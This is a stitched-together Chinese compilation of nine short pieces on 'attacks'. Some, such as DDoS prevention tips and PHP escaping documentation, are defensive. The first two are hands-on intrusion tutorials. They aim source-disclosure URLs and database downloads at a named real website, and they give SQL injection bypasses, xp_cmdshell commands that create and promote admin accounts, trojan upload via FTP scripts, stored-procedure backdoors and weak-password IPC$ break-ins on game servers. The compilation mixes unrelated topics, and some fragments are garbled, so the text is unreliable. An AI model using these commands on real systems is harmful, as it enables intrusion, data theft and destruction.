浅谈对数据库的攻击
【简介】感谢网友“托尼戴瑞”参与投稿,以下是小编为大家整理的浅谈对数据库的攻击(共9篇),欢迎阅读与收藏。
篇1:浅谈对数据库的攻击
一般的web
server都要使用数据库来存储信息,几乎所有的网站都要用数据库,这样就存在着两种可能,一种是使用小型数据库,如aceess,一般就储存在本地。另一种是使用大型数据库,如SQL
server,Oracle这时候一般就放在另一台机器上,然后通过ODBC来访问它。
由于页面经常需要查询各种信息,修改用户信息等操作,实质上就是和数据库打交道了。这样就给非法用户留下利用的机会了。
1.对本地数据库的攻击。
对本地数据库的攻击一种方法就是下载数据库,然后呢,你就可以打开这个数据库得到内部的用户和帐号了,以及其它有用的信息。
下面以“水莲会”为例:
经过扫描,得知www.suilian.net使用的是虚拟主机,使用的是WIndows
NT+IIS4.0.扫描器你可以使用twwwscan或者其它,其实功能都大同小异。
在对IIS攻击时如果能够看到ASP源代码,那么成功的可能性就很大了。
经过测试,发现此站点存在源代码暴露漏洞。。。
大家可以试试:
www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=none&CiHiliteType=full
www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=none&CiHiliteType=full
www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=none&CiHiliteType=full
www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=none&CiHiliteType=full
www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=none&CiHiliteType=full
www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=none&CiHiliteType=full
www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=none&CiHiliteType=full
看见了什么?
当然源代码泄露的漏洞有很多种,这里就不一一列举,你可以去查漏洞手册。
现在你就可以去查看ASP源代码了。
如果你对ASP不熟悉,我简单介绍一下(其实佳佳也不熟悉)。
ASP是嵌在<%和%>之间。一般使用VBScript或者JavaScript书写代码。
看这个例子使用VBScript书写的:
<%
...
set cn1=server.createobject(“ADODB.connection”)
dbpath=server.mappath(“user.mdb”)
cn1.open “driver={microsoft access driver (*.mdb)};dbq=”&dbpath
set rs=server.createobject(“ADODB.recordset”)
rs.open “select * from yhb”,cn1,adopenkeyset
...
%>
这是一个典型的与数据库连接的代码。
依次的步骤为:
建立连接对象,
设置数据库路径,
打开数据库,
设置记录对象,
取记录。
这里我们就可以知道数据库的类型,名称和路径,这里是在当前目录下。
还可以知道数据库的表名和字段名称。
有经验的程序员一般不会把数据库名直接放在代码里,而是在ODBC里设置数据源,以增加安全性。
然后就发现存在
d:\\S\\suilian\\chat\\news.mdb
d:\\S\\suilian\\topic22.mdb等数据库
你只要使用
www.suilian.net/chat/news.mdb
www.suilian.net/topic22.mdb
就可以把它下载下来。。。
这次主要介绍对远程数据库的攻击:
佳佳写完此文后得到深圳 cyberman
1。突破script的限制。
例如,某网页上有一文本框,允许你输入用户名称,但是它限制你只能输入4个字符。许多程序都是在客户端限制,然后用msgbox弹出错误提示。如果你攻击时需要突破此限制,只需要在本地做一个一样的主页,只是取消了限制,通常是去掉VBscript或IavaScript的限制程序,就可以成功突破。
如果是javascript做的,干脆临时把浏览器的脚本支持关掉。如果是
maxlength=...,则可以自己做个网页,把Form的Action直接用绝对URL提交过去。
有经验的程序员常常在程序后台再做一遍检验,如果有错误就用response.write或类似的语句输出错误。
2。对SQL的突破
例如某网页需要你输入用户名称和口令,这样就有两个文本框等待你的输入,现在我们假设有一用户adam,我们不知道他的口令,却想以他的身份登陆。
正常情况下,我们在第一个文本框输入adam,第二个文本框输入1234之类的密码,如果密码正确就可以进入,否则报错。
程序中的查询语句可能是:
sql=“select * from user where username='”&text1.value&“' and passwd=
'”&text2.value&“'”
执行时候就是
select * from user where username='adam' and passwd='1234'
好了,
如果我们在text2里输入的不是1234,而是1234'“&”'or 1=1
我们的sql语句就成了,
select * from user where username='adam' and passwd='1234' or 1=1
我们就可以进入了,
。。
有经验的用户就在程序中增加对单引号等特殊字符的过滤。
但是,一般人习惯上有两种登录认证方式我就用ASP的VBScript做例子了:
一是用select * from ... where username = ' & Request.Form(“username”) &
“password = ” & Request.Form(“password”),然后判断结果是否为空来验证。其实还有一种方式:
用select * from ... where username = ' & Request.Form(“username”),
然后判断结果集中的密码是否和输入相同来验证,这种方式就安全一些了。
3。利用多语句执行漏洞。
根据上面的思路,如果用户根据书名(例如linux入门)查询所有的书,SQL语句为
select book.name,book.content from book where bookname='linux入门'
如果我们输入的不是linux入门而是 linux入门' delete from user where '1' = '1
从而构成对表的删除。
成功的前提条件是对方允许多条语句的执行。
由于程序没有处理边界符“'”产生的漏洞的危害程度和结果集的类型及数据库的配置有很大的关系。首先说结果集,如果结果集只支持单条的SQL语句,那么你所能做的只是上面提到的那种在密码框内输入'
or '1' = '1来登录,其他的做不了。
我们还可以用这种方法在数据库里增加用户。
4。SQL
Server装完后自动创建一个管理用户sa,密码为空。而好多人装完后并不去改密码,这样就留下了一个极大的安全问题,我稍后再细说。
程序中的连接一般用两种,不是用global.asa就是用SSL文件。SSL文件一般人习惯放到到Web的/include或/inc目录下。而且文件名常会是conn.inc、db_conn.inc、dbconninc,等等,反正有时能猜到。
如果这个目录没有禁读,一旦猜到文件名就可以了,因为.inc一般不会去做关联的,直接请求不是下载就是显示源文件。
还有当主要程序放到一个后缀为.inc的文件而没有处理“'”,当运行出错时返回的出错信息中常会暴露.inc文件,我遇到过几次这样的情况。其实可以在IIS里设置来不回应脚本出错信息的。
5。数据库的利用。
如果程序中的连接用户权限极小,甚至多数表只能读,你就很难有所作为了。这时所能做的是能猜出表名和字段名来进行删除数据或表的操作。
INSERT语句利用起来讨厌一些,主要是里面有好多列,而且还要处理掉最后的“)”。
我就以我最熟悉的MS SQL
Server来说一些吧。它的默认端口号是1433,你用telnet连一下服务器的这个端口,如果能连上去一般是装了MS SQL
Server,当然这是可以改掉的。
好了,说一说数据库的利用。
如果对方的数据直接在Web服务器上而且你知道端口号,有帐号就干脆用SQL
Analyzer来直接连接数据库。在它里面可以执行SQL语句。常用的是存储过程master.dbo.xp_cmdshell,这是一个扩展存储过程,它只有一个参数,把参数做为系统命令来装给系统执行。
如果是管理用户就有权执行这个存储过程,而且这时可以执行很多操作,如用ipconfig来看ip设置,用net
user来看系统用户。不过用net user /add 用户名
密码并不一定成功,有时会返回一个“指定的登录会话不存在”而不能执行,原因我还不清楚。
如果没有权限也不要紧,MS SQL Server有个漏洞,你可以创建一个临时存储过程来执行,就可以绕过去,如:
CREATE PROC #cmdshell(@cmdstr varchar(200))
AS
EXEC master.dbo.xp_cmdshell @cmdshell
当然这时是没有权限执行net user /add等的,不过可以查看,可以创建文件。
反复用echo创建一个FTP脚本,把木马传到一个FTP站点上,然后用存储过程调用ftp来利用脚本来下载并安装,然后......呵呵:)
如果数据库没有装在Web服务器上所以没有找到或改了端口号而一时找不到还是有办法的。
如果数据库服务器直接从Internet上无法访问,你可以利用程序里的漏洞来删除、修改数据或加入javascript语句到数据库,通常他们显示本来应该自己人录入的数据时不去过滤,所以可以用javascript把它转到其他站点上或做些什么。
如果只是改了端口号就要看程序里数据库用户的权限了,如果是管理用户,可以用' exec master.dbo.xp_cmshell
'net user /add aaa bbb来创建一个操作系统用户,然后再用' exec master.dbo.xp_cmdshell
'net localgroup /add administrators aaa来把它升级为超级用户。
如果这台服务器的NetBIOS绑定了TCP/IP,而且C$、D$等管理共享存在,呵呵,恭喜了,你在DOS命令下用net use Z:
\\ip address$ “bbb” /user:“aaa”就可以把对方的整个C盘映射为你本地的一个网络驱对器Z:了。
6。数据库里如何留后门。
创建用户的sp_addlogin、权限分配的sp_addsrvrolemember是用一条语句来判断用户是否有权限执行,也就是说用户都可以执行它,它再来判断用户是否有权执行。
当你攻入一个数据库时可以用它的Enterprise Manager来连上去修改这些存储过程,因为这些存储过程都没有加密。
可以在判断的地方加个条件,当这个条件满足时就不直接执行下去而不管是什么权限的用户调用它。
不过改完要注意,这时它的Type成了User,要想改回可以到sysobjects表中把name为sp_addlogin的一条删除,然后再把没有改过的相同版本的MS
SQL Server的同一条记录拷贝进去就可以了。
当然不要忘了这些默认是不能手工修改的,要修改得先把掉SQL Server的参数,改完不要忘了再改回来啊:)
这时只要网站的程序有问题,不管程序中的用户权限如何,你都可以随时创建SQL Server的管理用户。
篇2:如何攻击*?
玩多了传奇,你就会发现,其实*是存在很多漏洞的,比如以前的可以刷装备,刷金币等等,只要用心去发现总有漏洞的,也不是教人做坏事,对于一个*,进去如果不买装备那么就是个垃圾,受人欺负,就是上土城买药都要被人追着砍,一个地丁你就挂了。花钱吧,想想又太浪费了,毕竟这个东西不是正规的,而且架设一个*很简单,不要什么成本,谁知道GM什么时候就关了呢,这是很正常的现象,金钱驱动。
那么另一个方法就是去发现它的漏洞,然后去入侵它,用流氓的手段去攻击流氓的作为。首先讲下简单的攻击方法。开始你需要去下个X-SCAN,这个是用来扫描IP的工具。看看谁是弱口令(IP也非常容易得到,*都有,弱口令就是用户名和密码都是系统默认的,没有改)。然后就是打开DOS系统 在DOS下进行操作
c:\\>net use\\\\192.168.0.1\\ipc$“”\\user:administrator 进入对方计算机USER进入的就是管理员用户。
进入了以后就好办了,可以找你要黑的*,做GM也好,搞破坏删除也好,比如做GM吧!
c:\\>copy\\\\192.168.0.1\\d$mirserver\\envir\\adminlist.txt 都是命令,可以看出来,其余的想怎么改就凭你了,但是我得解释下,这段代码目的很简单就是将D盘拷贝一个*的GM的列表,你可以把你自己添加进去再编辑
c:\\>edit\\\\192.168.0.1d$mirserver\\mir2000\\envir\\adminlist.txt
这样就可以了,
只是利用弱口令进入计算机的方法,当然了还有更多的方法。
这个方法只对弱口令的*IP好办,如果不是呢,就要想更好的办法了,毕竟弱口令的少。
下面介绍个入侵*小攻略:
*的运行平台是,windows平台,一般的*,为了能达到稳定性,都用了win2000平台。win2000是一个网络操作系统,所谓网络操作系统,就是只要能有系统的密码,就可以完全控制这一台电脑,无论你在什么地方。
我们可以查*主机的密码,有一部分*的网管,对win2000不了解,在安装时未设系统密码,或者设了很简单的密码,如123456等。
查密码,可以用好的工具,如hscan,我个人认为不错,可以用hscan2.0。
输入*的IP,让它自动扫描。
运气好的好,扫到了。呵呵,就可以进行攻击了,扫不到的话,你就再慢慢扫哦。扫到密码。你可以进行入侵。
注意,你自己的电脑一定要是win2000啊,或者xp也行。98是不行的。
1、开始-运行-输入:cmd
2、在这个黑的窗口中,输入:net use \\\\xxx.xxx.xxx.xxx\\ipc$ “密码” /user:“用户名”
[1] hack.hack50.com/HTML/1025101732_2.html'>[2] hack.hack50.com/HTML/20081025101732_2.html'>下一页
篇3:攻击
攻击
攻击gōng jī[释义]①(动)基本义:进攻;多用于书面语。~敌人。(作谓语)
②(动)恶意指摘。
[构成] 并列式:攻+击[同义] 进攻、攻打篇4:php 如何做数据库攻击(如:SQL注入)脚本安全
PHP mysql_real_escape_string 函数
PHP MySQL 函数
定义和用法
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符,
下列字符受影响:
\\x00
\\n
\\r
\\
'
“
\\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
语法
mysql_real_escape_string(string,connection)
参数描述
string必需。规定要转义的字符串。
connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。
说明
本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query() 。
提示和注释
提示:可使用本函数来预防数据库攻击。
例子
例子 1
{ die('Could not connect: ' . mysql_error());
} // 获得用户名和密码的代码 // 转义用户名和密码,以便在 SQL 中使用 $user =mysql_real_escape_string($user); $pwd =mysql_real_escape_string($pwd); $sql = ”SELECT * FROM users WHERE
user='“ . $user . ”' AND password='“ . $pwd . ”'“ // 更多代码 mysql_close($con); ?>
例子 2
数据库攻击。本例演示如果我们不对用户名和密码应用 mysql_real_escape_string() 函数会发生什么:
{ die('Could not connect: ' . mysql_error());
} $sql = ”SELECT * FROM users
WHERE user='{$_POST['user']}'
AND password='{$_POST['pwd']}'“;
mysql_query($sql); // 不检查用户名和密码 // 可以是用户输入的任何内容,比如: $_POST['user'] = 'john'; $_POST['pwd'] = ”' OR ''='“; // 一些代码... mysql_close($con); ?>
那么 SQL 查询会成为这样:
SELECT * FROM users WHERE user='john' AND password='' OR ''=''
这意味着任何用户无需输入合法的密码即可登陆,
例子 3
预防数据库攻击的正确做法:
{ $value =stripslashes($value);
} // 如果不是数字则加引号 if (!is_numeric($value))
{ $value = ”'“ .mysql_real_escape_string($value). ”'“;
} return $value;
} $con = mysql_connect(”localhost“, ”hello“, ”321“); if (!$con)
{ die('Could not connect: ' . mysql_error());
} // 进行安全的 SQL $user = check_input($_POST['user']); $pwd = check_input($_POST['pwd']); $sql = ”SELECT * FROM users WHERE
user=$user AND password=$pwd“;
mysql_query($sql);
mysql_close($con); ?>
?
篇5:如何对管理员用户名和密码进行攻击
1-前言: 早上,没有什么事情做;觉得挺无聊的,
如何对管理员用户名和密码进行攻击
,
无意中就点了www.cnlongker.com这个站点的LOGO。进去该站点。看起来站点设计的还可以。然后对他进行了测试(哎~***惯了) 2-寻找注入点(我最近搞注入搞上瘾了) long.zgwx.org/show.asp?id=390 (注
篇6:对 攻击的有效预防办法
介绍11个简单办法:
1.确保所有服务器采用最新系统,并打上安全补丁,计算机紧急响应协调中心发现,几乎每个受到DDOS攻击的系统都没有及时打上补丁。
2.确保管理员对所有主机进行检查,而不仅针对关键主机。这是为了确保管理员知道每个主机系统在 运行什么?谁在使用主机?哪些人可以访问主机?不然,即使 侵犯了系统,也很难查明。
3.确保从服务器相应的
目录或文件数据库中删除未使用的服务如FTP或NFS。Wu-Ftpd等守护程序存在一些已知的漏洞, 通过根攻击就能获得访问特权系统的权限,并能访问其他系统——甚至是受防火墙保护的系统。
4.确保运行在Unix上的所有服务都有TCP封装程序,限制对主机的访问权限。
5.禁止内部网通过Modem连接至PSTN系统。否则, 能通过电话线发现未受保护的主机,即刻就能访问极为机密的数据,
6.禁止使用网络访问程序如Telnet、Ftp、Rsh、Rlogin和Rcp,以基于PKI的访问程序如SSH取代。SSH不会在网上以明文格式传送口令,而Telnet和Rlogin则正好相反, 能搜寻到这些口令,从而立即访问网络上的重要服务器。此外,在Unix上应该将.rhost和hosts.equiv文件删除,因为不用猜口令,这些文件就会提供登录访问!
7.限制在防火墙外与网络文件共享。这会使 有机会截获系统文件,并以特洛伊木马替换它,文件传输功能无异将陷入瘫痪。
8.确保手头有一张最新的网络拓扑图。这张图应该详细标明TCP/IP地址、主机、路由器及其他网络设备,还应该包括网络边界、非军事区(DMZ)及网络的内部保密部分。
9.在防火墙上运行端口映射程序或端口扫描程序。大多数事件是由于防火墙配置不当造成的,使DoS/DDOS攻击成功率很高,所以定要认真检查特权端口和非特权端口。
10.检查所有网络设备和主机/服务器系统的日志。只要日志出现漏洞或时间出现变更,几乎可以肯定:相关的主机安全受到了危胁。
11.利用DDOS设备提供商的设备。
遗憾的是,目前没有哪个网络可以免受DDOS攻击,但如果采取上述几项措施,能起到一定的预防作用。
篇7:数据库
1、交叉连接(即笛卡尔积 两个表相乘)
2、内连接
3、外连接
3.1左外连接
3.2右连接<?www.2cto.com/kf/ware/vc/” target=“_blank” class=“keylink”>vcD4KPHA+PGltZyBzcmM9“www.2cto.com/uploadfile/Collfiles/0423/2015042310050046.png” alt=“\\”>
3.3自连接(两张相同的表连接)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
子查询
篇8:防范 攻击
本周不但要小心病毒,更要注意被 攻击,近日, 组织0day发布了针对“火狐”(Firefox)浏览器漏洞的攻击代码。另外,微软针对Windows操作系统也发布了一个等级为重要的补丁。
“火狐”(Firefox)攻击代码警惕程度该代码于5月7日被0day组织发布,很快就在网上泛滥。 们利用其构造恶意网站,诱骗用户浏览,
如果用户使用存在漏洞的“火狐”浏览器登录这些网站,则可能导致个人资料失窃、储存的电脑文件被删除。
辨别恶意网站
们会诱骗用户登录恶意网站,如通过Email、QQ发送邀请,欺骗用户“来看 ”等。如果用户收到此类邀请,请小心处理。
用户可安装1.04版的“火狐”修补浏览器漏洞,用WindowsUpdate功能修补操作系统漏洞。另外,不要轻易浏览Email、QQ、MSN里附带的网址对防范 攻击也很必要。
篇9: 如何发动攻击
。电子邮件的持续升温使之成为那些企图进行破坏的人所日益关注的目标。如今, 和病毒撰写者不断开发新的和有创造性的方法,以期战胜安全系统中的改进措施。
毫无疑问,电子邮件是当今世界上使用最频繁的商务通信工具,据可靠统计显示,目前全球每天的电子邮件发送量已超过500亿条,预计到2008年该数字将增长一倍。
在不断公布的漏洞通报中,邮件系统的漏洞该算最普遍的一项。
常常利用电子邮件系统的漏洞,结合简单的工具就能达到攻击目的。
电子邮件究竟有哪些潜在的风险? 在邮件上到底都做了哪些手脚?
一同走进 的全程攻击,了解电子邮件正在面临的威胁和挑战……
毫无疑问,电子邮件是当今世界上使用最频繁的商务通信工具,据可靠统计显示,目前全球每天的电子邮件发送量已超过500亿条,预计到2008年该数字将增长一倍。
电子邮件的持续升温使之成为那些企图进行破坏的人所日益关注的目标。如今, 和病毒撰写者不断开发新的和有创造性的方法,以期战胜安全系统中的改进措施。
出自邮件系统的漏洞
典型的互联网通信协议――TCP和UDP,其开放性常常引来 的攻击。而IP地址的脆弱性,也给 的伪造提供了可能,从而泄露远程服务器的资源信息。
很多电子邮件网关,如果电子邮件地址不存在,系统则回复发件人,并通知他们这些电子邮件地址无效。 利用电子邮件系统的这种内在“礼貌性”来访问有效地址,并添加到其合法地址数据库中。
防火墙只控制基于网络的连接,通常不对通过标准电子邮件端口(25端口)的通信进行详细审查。